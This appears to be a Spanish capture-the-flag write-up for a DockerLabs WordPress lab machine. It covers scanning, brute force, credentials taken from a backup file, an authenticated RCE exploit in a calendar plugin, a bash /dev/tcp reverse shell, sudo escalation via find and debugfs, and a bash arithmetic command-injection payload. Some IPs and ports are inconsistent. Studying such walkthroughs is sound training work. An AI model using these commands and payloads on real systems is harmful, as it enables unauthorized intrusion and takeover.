

Whoiam • Fácil

Maquina: <https://dockerlabs.es/>

Herramientas utilizadas:

NMAP | GOBUSTER | WPSCAN |
SEARCHSPLOIT |

#1 | Enumeración | Nmap 🕵️ |

Escaneo y reconocimiento de puertos:

```
--$ nmap -p --open -sS -sC -sV --min-rate=5000 -vvv -n -Pn -oN scanningV
```

>> -p : Esto sirve para especificar los puertos que querés escanear. Si no decís nada después, escaneará los puertos predeterminados de Nmap

>> --open : Te muestra solo los puertos que están abiertos, ignorando los que estén cerrados o filtrado

>> -sS : Escaneo SYN que es rápido y más difícil de detectar por firewalls o sistemas de seguridad porque no completa la conexión.

>> -sC : Corre una serie de scripts básicos de Nmap que te pueden dar info interesante, como versiones de servicios, hostnames, o vulnerabilidades conocidas

>> -sV : Esto intenta averiguar la versión exacta de los servicios que están corriendo en los puertos abiertos.

>> --min-rate=500 : Le decís a Nmap que mande al menos 5000 paquetes por segundo, para que el escaneo sea más rápido.

>> -vvv : Activa un nivel de verbosidad muy alto. Básicamente, te muestra todo lo que está pasando durante el escaneo

>> -n : Desactiva la resolución DNS (o sea, no trata de buscar nombres de dominio). Esto hace que el escaneo sea más rápido.

>> -Pn : Le decís a Nmap que no haga ping antes de escanear, asumiendo que el host está activo, aunque no responda a ICMP

>> -oN scanningWhoiam : Guarda los resultados en un archivo llamado **scanningWhoiam**, en un formato de texto normal para que sea fácil de leer.

>> 172.17.0.2 : Es la IP del objetivo al que querés escanear.

Resultado:

```
PORT      STATE SERVICE VERSION
80/TCP    open  http   Apache httpd 2.4.58 ((Ubuntu))
|_http-generator: WordPress 6.5.4
|_http-title: Whoiam
|_http-server-header: Apache/2.4.58 (Ubuntu)
MAC Address: 02:42:AC:16:00:02 (Unknown)
```

El puerto **80/TCP** está abierto, lo que indica que el servicio **HTTP** está activo en el objetivo. El servidor web identificado

es **Apache HTTPD 2.4.58** corriendo en un sistema **Ubuntu** se detectó que el sitio web está utilizando **WordPress 6.5.4** como sistema de gestión de contenidos (CMS), lo cual es relevante ya que WordPress puede tener vulnerabilidades específicas que se deben revisar.



También podríamos usar la herramienta [WAPPALYZER](#), para saber que servicios utiliza esta página.

#2 | EXPLORANDO SISTEMA | Gobuster | WPSCAN

▼ Qué es el fuzzing?

El fuzzing es una técnica de prueba donde se envían combinaciones de entradas (como rutas o palabras) a un servidor web para descubrir directorios o archivos ocultos. Con herramientas como Gobuster, se prueban automáticamente muchas posibles rutas para encontrar vulnerabilidades o recursos no accesibles a simple vista.

descargar el archivo ".zip" > [github](#)

```
--$ gobuster dir -u http://172.18.0.2/ -w /usr/share/wordlists/Diccionarios-mas
```

>> gobuster dir : Va a realizar un escaneo de directorios en lugar de un escaneo DNS o vhost. Es para descubrir rutas dentro del servidor web

>> -u http://172.18.0.2/ :Especifica la URL del objetivo.

>> -w /usr/share/wordlists/Diccionarios-master.txt : Le indica a Gobuster que use un **diccionario de palabras** (wordlist) para probar posibles directorios o archivos. El archivo **Diccionarios-master.txt** contiene una lista de rutas comunes que Gobuster intentara acceder para ver si existen en el servidor.

`-x .php, .xml, .html, .txt` : Gobuster debe probar **extensiones de archivos** específicas en los directorios que está buscando.

Resultado:

Starting gobuster in directory enumeration mode

```
/.php          (Status:403) [Size: 275]
/.html         (Status:403) [Size: 275]
/wp-content    (Status:301) [Size: 313] [→http://172.18.0.2/wp-content/]
/index.php     (Status:301) [Size: 0] [→http://172.18.0.2/]
/license.txt   (Status:200) [Size: 19915]
/wp-includes   (Status:301) [Size: 314] [→http://172.18.0.2/wp-includes
/wp-loing.php  (Status:200) [Size: 4039]
/readme.html   (Status:200) [Size: 7401]
/wp-trackback.php (Status:200) [Size: 135]
/wp-admin      (Status:301) [Size: 311] [→http://172.18.0.2/wp-admin/]
/backups       (Status:301) [Size: 310] [→http://172.18.0.2/backups/]
/xmlrpc.php    (Status:405) [Size: 42]
/.html         (Status:403) [Size: 275]
/.php          (Status:403) [Size: 275]
/wp-signup.php (Status:302) [Size: 0] [→http://172.18.0.2/wp-login.php
/server-status (Status:403) [Size: 275]
```



Gobuster encontro directorios de WordPress(/wp-...).
Utilizamos la herramienta WPSCAN

WPSCAN

```
--$ wpscan --url http://172.18.0.2 -e u
```

`>> wpscan` : Herramienta que realiza escaneos de seguridad en WordPress

`>> --url http://172.18.0.2` : Le indico la URL del sitio web a escanear

`>> -eu` : Realiza la enumeracion de usuarios, wpscan intentara listar todos los usuarios registrados en ese sitio de wordpress, asi identificamos las cuentas con las que podriamos acceder.

Resultado:

```
[i] User(s) Identified:
```

```
[+] erik
```

```
| Found By: Rss Generator (Passive Detection)
```

```
| Confirmed By:
```

```
| Wp Json Api:
```

```
| - http://172.18.0.2/index.php/wp-json/wp/v2/users/?per_page=100&page=1
```

```
| Author Id Brute Forcing - Author Pattern (Aggressive Detection)
```

```
| Login Error Messages (Aggressive Detection)
```

```
[+] developer
```

```
| Found By: Author Id Brute Forcing -Author Pattern (Aggressive Detection)
```

```
| Confirmed By: Login Error Messages (Aggressive Detection)
```

wpscan nos confirma que hay dos users dentro del sistema. `erik`
y `developer`

COSAS QUE INTENTE:

▼ WPSCAN:

```
erik:
```

```
wpscan --url http://172.18.0.2 --passwords /usr/share/wordlists/rockyou.txt
```

`>> --url` : La URL del sitio web de WordPress.

`>> --passwords /usr/share/wordlists/rockyou.txt` : Define el diccionario de contraseñas que WPScan usará para las pruebas.

`>> --usernames erik,developer` : los nombres de usuario que encontramos previamente.

`>> --force` : Le indica a WPScan que ignore la limitación de intentos de login y siga intentando las contraseñas.

▼ HYDRA

Voy a usar Hydra para intentar un ataque de fuerza bruta al formulario de inicio de sesión en `/wp-login.php` . Aquí está el comando que usé:

```
bash
Copiar código
hydra -l erik -P /usr/share/wordlists/rockyou.txt http-post-form "/wp-login.php:log=^USER^&pwd=^PASS^&wp-submit=Log+In:F=incorrect"
```

`>> l erik` : Estoy especificando que voy a usar "erik" como nombre de usuario. Esto se prueba en cada intento.

`>> p /usr/share/wordlists/rockyou.txt` : Este es el diccionario de contraseñas que voy a usar. Hydra va a ir probando cada contraseña que está en ese archivo.

`>> http-post-form` : Le indico a Hydra que estoy atacando un formulario que usa el método POST.

`>> "/wp-login.php:log=^USER^&pwd=^PASS^&wp-submit=Log+In"` :

`>> /wp-login.php` : Es la ruta al formulario de inicio de sesión.



`>> log=^USER^&pwd=^PASS^&wp-submit=Log+In` : Estos son los parámetros que el formulario envía:

- `>> log` es donde va el nombre de usuario. Hydra lo reemplaza automáticamente con "erik" en cada intento.
- `>> pwd` es donde va la contraseña, que Hydra toma del diccionario.
- `>> wp-submit=Log+In` es simplemente un botón para enviar los datos.
- `>> F=incorrect` : Esto le dice a Hydra que si encuentra la palabra "incorrect" en la respuesta del servidor, entonces el intento fue fallido. Va a seguir probando hasta que no aparezca esa palabra.

PERO NO FUNCIONARON ;(

Entonces seguí navegando por los directorios, y en `/backups`
<https://172.18.0.2/backups/>

Index of /backups

<u>Name</u>	<u>Last modified</u>	<u>Size</u>	<u>Description</u>
 Parent Directory		-	
 databaseback2may.zip	2024-06-08 17:28	241	

descargamos el archivo `.zip` descomprimos y navegamos en el hasta que encontramos

```
--$ cat 29DBMay
| Username | Password |
|-----|
| Developer | 2wmy3KrGDRD%RsA7Ty5n71L^ |
|-----|
```



SI INGRESAMOS CON ESTAS CREDENCIALES A EL LOGING DE WORDPRESS, ACCEDEMOS (TANTO DEVELOPER COMO ERIK SON ADMINISTRADORES). Salimos del dashboard y **seguimos intentando encontrar vulnerabilidades.**

ESCANEEO CON WPSCAN #2

```
--$ wpscan --url https://172.18.0.2 --enumerate ap
```

>> --enumerate ap : Esta opción significa "All Plugins". Básicamente, le estoy diciendo a WPScan que me liste todos los plugins

instalados en el WordPress, no solo los que están activos, sino también los que están desactivados.

Resultado:

[i] Plugin(s) Identified:

```
[+] modern-events-calendar-lite  ←----- Buscamos en searchsploit
| Location: http://172.18.0.2/wp-content/plugins/modern-events/calendar-lite
| Last Updated: 2022-05-10T21:06:00.000Z
| [!] The version is out of date, the latest version is 6.5.6
|
| Found By: Urls In Homepage (Passive Detection)
|
| Version: 5.16.2 (100% confidence)
| Found By: Readme - Stable Tag (Aggressive Detection)
| - http://172.18.0.2/wp-content/plugins/modern-events-calendar-lite/readme
| Confirmed By: Change Log (Aggressive Detection)
| - http://172.18.0.2/wp-content/plugins/modern-events-calendar-lite/change
|
| ^
|   ___ Buscamos en searchsploit
```

Encontro el siguiente plugin ^ buscamos un exploit para este plugin en searchexploit

#3 | IDENTIFICANDO VULNERABILIDADES | SEARCHSPLOIT

| PYTHON

Searchsploit

```
--$ searchsploit Modern Events Calendar
```

Resultado:

Exploit Title	Path
WordPress Plugin Modern Events Calendar 5.16.2 - Event export (Unauthenticated)	
WordPress Plugin Modern Events Calendar 5.16.2 - Remote Code Execution (Authenticated)	
WordPress Plugin Modern Events Calendar V 6.1 - SQL Injection (Unauthenticated)	

Encontramos el siguiente exploit para este plugin:

DESCARGAMOS EL EXPLOIT:

```
--$ searchsploit -m php/webapps/50082.py
```

Y LO EJECUTAMOS:

```
--$ Python3 50082.py -T 172.18.0.2 -P 80 -U / -u developer -p 2wmy3KrGDRD%RsA7Ty5n71L^
```

>> Python3 50082.py : Ejecuta un script de Python.

>> -T 172.18.0.2 : Especifica la **dirección IP** del objetivo.

>> -P 80 : Aquí se está indicando el **puerto 80**, lo que sugiere que el script va a interactuar con un servicio web que corre en ese puerto.

>> -U / : indica una ruta de acceso o directorio donde el script comenzará a buscar.

>> -u developer : Especifica el **nombre de usuario** a utilizar en el ataque, en este caso, **"developer"**.

>> -p 2wmy3KrGDRD%RsA7Ty5n71L^ : Especifica la **contraseña** a utilizar, que es **"2wmy3KrGDRD%RsA7Ty5n71L^"**.

▼ QUE HACE ESTE SCRIPT?

Este script **50082.py** explota una vulnerabilidad de **ejecución remota de código (RCE)** en el plugin **Modern Events Calendar 5.16.2** de WordPress. La vulnerabilidad permite a un atacante ejecutar código malicioso en el servidor afectado. Sin embargo, **requiere autenticación**: el atacante debe tener acceso a una cuenta válida en el sitio de WordPress. Una vez

autenticado, el script aprovecha esta vulnerabilidad para ejecutar comandos arbitrarios o subir archivos maliciosos al servidor, lo que puede resultar en un control completo del sistema comprometido.

Resultado:

[+] Authentication successful!

[+] Shell Uploaded to: <http://172.18.0.2:80/wp-content/uploads/shell.php>

Ahora solo debemos copiar el URL que tenemos en la parte inferior y pegarlo en nuestro navegador, y nos dirige a una **websHELL**

```
p0wny@shell:~$
```

```
p0wny@shell:~$ bash -c 'bash -i >& /dev/tcp/172.18.0.1/443 0>&1'
```

```
p0wny@shell:~$
```

#4 | INTRUSIÓN | REVERSE SHELL 📡

REVERSE SHELL

1. Nos ponemos en escucha en nuestra máquina atacante y estamos listos para enviar la conexión.

```
p0wny@shell:~/wp-content/uploads$ bash -c 'bash -i >& /dev/tcp/172.18.0.2/443 0>&1'
```

▼ Explicación del código

1. `>> bash -c :`
 - Esto le dice a la terminal que ejecute un comando en una nueva instancia de `bash`.
 - El `c` indica que lo que sigue es un comando que debe ser interpretado y ejecutado.
2. `>> 'bash -i' :`

- Aquí se está iniciando una nueva instancia de `bash` en modo interactivo (`i`).
 - El modo interactivo significa que el shell espera la entrada del usuario, como si estuvieras en una terminal normal.
3. `>> >& /dev/tcp/172.18.0.2/4444 :`
- Esto es un poco más técnico. En Linux, `/dev/tcp` es un "dispositivo" especial que permite hacer conexiones de red directamente desde la línea de comandos.
 - `172.18.0.2` es una dirección IP, y `4444` es un puerto. Esto significa que el comando intentará conectarse a la dirección IP `172.18.0.2` en el puerto `4444`.
 - `>&` redirige tanto la salida estándar (`stdout`) como la salida de error (`stderr`) a la conexión de red que se establece.
4. `0>&1 :`
- Esto redirige la entrada estándar (`stdin`, que es el descriptor de archivo `0`) a la salida estándar (`stdout`, que es el descriptor de archivo `1`).
 - En otras palabras, cualquier entrada que se envíe a la conexión de red se redirigirá al shell interactivo que se está ejecutando.

¿Qué hace todo esto en conjunto?

Este comando está creando una **shell inversa** (reverse shell). Básicamente, está conectando la terminal de la máquina local (donde se ejecuta este comando) a una máquina remota (en este caso, la que tiene la IP `172.18.0.2`) en el puerto `4444`.

2. el listening desde nuestra terminal

```
(root kali)~[/home/Desktop]  
└─# nc -lvnp 4444 ...
```

```
www-data@whoiam:/var/www/html/wp-content/uploads$ cd .
```

#5 | ESCALADA DE PRIVILEGIOS | LINUX

ESCALAR PRIVILEGIOS

Logramos obtener acceso a la shell desde nuestra terminal. Iniciamos a investigar y escalar privilegios:

```
www-data@whoiam:~$ sudo -l
```

este comando nos devuelve:

```
User www-data may run the following commands on whoiam:
```

```
(rafa) NOPASSWD: /usr/bin/find
```

└─ Sabemos que es el binario **de** (rafa)

▼ Qué es un binario?

Un binario es básicamente un archivo ejecutable que contiene instrucciones en lenguaje máquina que la computadora puede entender y ejecutar directamente. En Linux, los binarios son programas o comandos que se encuentran en rutas como `/bin`, `/usr/bin`, etc. Por ejemplo, cuando ejecutamos un comando como `find`, en realidad estamos ejecutando un binario llamado `find` que vive en `/usr/bin/find`. Es como un programa listo para usarse

En este caso, como el usuario `www-data` tiene permiso para ejecutar el binario `find` usando `sudo` y sin contraseña, podemos ejecutarlo como si fuéramos el usuario `rafa`. Esto se debe a que el comando `sudo -u rafa` le dice al sistema: 'Ejecuta esto con los privilegios de `rafa`.' Y, como `find` permite ejecutar otros comandos con la opción `-exec`, podemos aprovechar eso para ejecutar cualquier cosa (como abrir un shell) con los permisos de `rafa`.



Usamos GTF0Bins, es una base de datos que recopila binarios y scripts para abusar y escalar privilegios.

Sudo

If the binary is allowed to run as superuser by `sudo`, it does not drop the elevated privileges and may be used to access the file system, escalate or maintain privileged access.

```
sudo find . -exec /bin/sh \; -quit
```

Lo utilizamos

```
www-data@whoiam:~$ sudo -u rafa find . -exec /bin/sh \; -quit
```

▼ Que hace este comando?

`>> sudo -u rafa` : Ejecutas el comando como el usuario `rafa`, utilizando los permisos de sudo asignados.

`>> find .` : Inicia la búsqueda en el directorio actual (`.`).

`>> exec /bin/sh \;` : Por cada archivo o directorio encontrado, se ejecuta el shell `/bin/sh`. Esto te da acceso a una shell interactiva con los permisos del usuario `rafa`.

`>> -quit` : Detiene la ejecución de `find` después de haber encontrado el primer elemento. Esto es útil para evitar que el comando siga recorriendo el sistema innecesariamente.

Elevamos privilegios exitosamente!

Resultado:

Volvemos a ejecutar `sudo -l`, para buscar permisos.

```
rafa@whoiam:~$ sudo -l
```

....

User rafa may run the following commands on whoiam:

```
(ruben) NOPASSWD: usr/sbin/debugfs
```

└──Sabemos que es el binario de ruben

volvemos a buscar en GTF0Bins

Sudo

If the binary is allowed to run as superuser by `sudo`, it does not drop the elevated privileges and may be used to access the file system, escalate or maintain privileged access.

```
sudo debugfs
! /bin/sh
```

```
rafa@whoiam:~$ sudo -u ruben debugfs
```

Ejecutamos:

```
debugfs 1.47.0 (5-Feb-2023)
```

```
debugfs: !/bin/sh
```

```
whoami
```

```
ruben
```

Volvemos a utilizar `sudo -l`

```
...
```

User ruben may run the following commands on `whoiam`

```
(ALL) NOPASSWD: /bin/bash /opt/penguin.sh
```

nos indica que tenemos un script, que podemos leer. Que hace?

```
ruben@whoiam:~$ cat /opt/penguin.sh
```

```
#!/bin/bash
```

```
read -rp "Enter guess: " num
```

```
if [[ $num -eq 42 ]]
```

```
then
```

```
    echo "Correct"
```

```
else
```

```
echo "Wrong"  
fi
```

Importante! la comparación `-eq` es vulnerable a la ejecución de comandos arbitrarios.

<https://www.vidarholen.net/contents/blog/?p=716>

luego de investigar, encontramos que 🚀

Podemos inyectar un comando arbitrario antes de el correcto (sabemos que es 42)

Entonces:

```
ruben@whoiam:~$ sudo /bin/bash /opt/penguin.sh  
Enter guess: a[$(whoami)>&2])+42  
root  
Correct
```

▼ Porque pasa esto?

Cuando ingresas `a[$(whoami))+42`, la parte `$(whoami)` se evalúa como el usuario actual (en este caso, "root"), convirtiendo la entrada en `a[root]+42`. Al comparar con `-eq 42`, Bash trata la cadena como 0, ya que no es un número válido. Esto provoca que la comparación sea `0 -eq 42`, lo que debería ser falso, pero el script termina mostrando "Correcto" debido a cómo Bash maneja las cadenas en la comparación numérica.

CONSEGUIMOS EL ROOT! 🌟

REDES 🌐